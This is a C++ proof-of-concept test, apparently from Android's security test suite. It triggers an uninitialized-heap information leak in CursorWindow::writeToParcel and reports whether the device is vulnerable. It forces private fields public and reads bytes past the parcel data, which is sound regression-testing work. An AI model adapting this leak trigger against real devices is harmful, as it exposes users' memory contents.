1 /*
2  * Copyright (C) 2024 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 // To access constructor of CursorWindow along with its fields
18 #define private public
19 
20 #include <androidfw/CursorWindow.h>
21 #include <binder/Parcel.h>
22 #include <utils/String8.h>
23 #include "../includes/common.h"
24 #include "../includes/memutils_track.h"
25 
26 using namespace android;
27 
28 char enable_selective_overload = ENABLE_NONE;
is_tracking_required(size_t size)29 bool is_tracking_required(size_t size) {
30     return (size != 0);
31 }
32 constexpr int kSize = 0;
33 String8 kEmptyString = String8("");
34 
main()35 int main() {
36     // Create CursorWindow object to invoke CursorWindow::create() to get the CursorWindow class's
37     // constructor
38     CursorWindow* window;
39     CursorWindow::create(kEmptyString, kSize, &window);
40 
41     // Create parcel object
42     Parcel parcelObj;
43     Parcel* parcel = &parcelObj;
44 
45     // Assign values to window object to hit the vulnerability from CursorWindow.h
46     window->mAllocOffset = 1;
47     window->mName = kEmptyString;
48     window->mNumColumns = kSize;
49     window->mNumRows = kSize;
50     window->mSize = kSize;
51     window->mSlotsOffset = kSize;
52 
53     // Invoke vulnerable function
54     enable_selective_overload = ENABLE_MALLOC_CHECK;
55     window->writeToParcel(parcel);
56     enable_selective_overload = ENABLE_NONE;
57 
58     // Set data position of parcel to 0
59     parcel->setDataPosition(0);
60 
61     // Since writes were made on parcel object in source code, hence the exact same reads have to
62     // be made and checked accordingly to access the correct index of parcel
63     FAIL_CHECK(parcel->readString8().string() == kEmptyString);
64     FAIL_CHECK(parcel->readUint32(&window->mNumRows) == kSize);
65     FAIL_CHECK(parcel->readUint32(&window->mNumColumns) == kSize);
66     size_t compactSize = parcel->readUint32(); /* value is different with and without fix */
67     parcel->readBool();
68 
69     // Create pointer dest using compactSize
70     const void* dest = parcel->readInplace(compactSize);
71     FAIL_CHECK(dest);
72 
73     const uint8_t* leakedBytes = static_cast<const uint8_t*>(dest) + compactSize;
74     FAIL_CHECK(leakedBytes);
75 
76     // Check if any leaks are present in leakedBytes
77     // The fix removes the code that CursorWindow::writeToParcel() uses to ensure slot data is
78     // 4-byte aligned because 'mAllocOffset' and 'mSlotsOffset' are already 4-byte aligned,
79     // alignment step here is unnecessary which causes leak of uninitialized heap content
80     // INITIAL_VAL = 0xBE
81     bool isVulnerable = false;
82     if (leakedBytes[0] == INITIAL_VAL && leakedBytes[1] == INITIAL_VAL &&
83         leakedBytes[2] == INITIAL_VAL) {
84         isVulnerable = true;
85     }
86 
87     return isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
88 }
89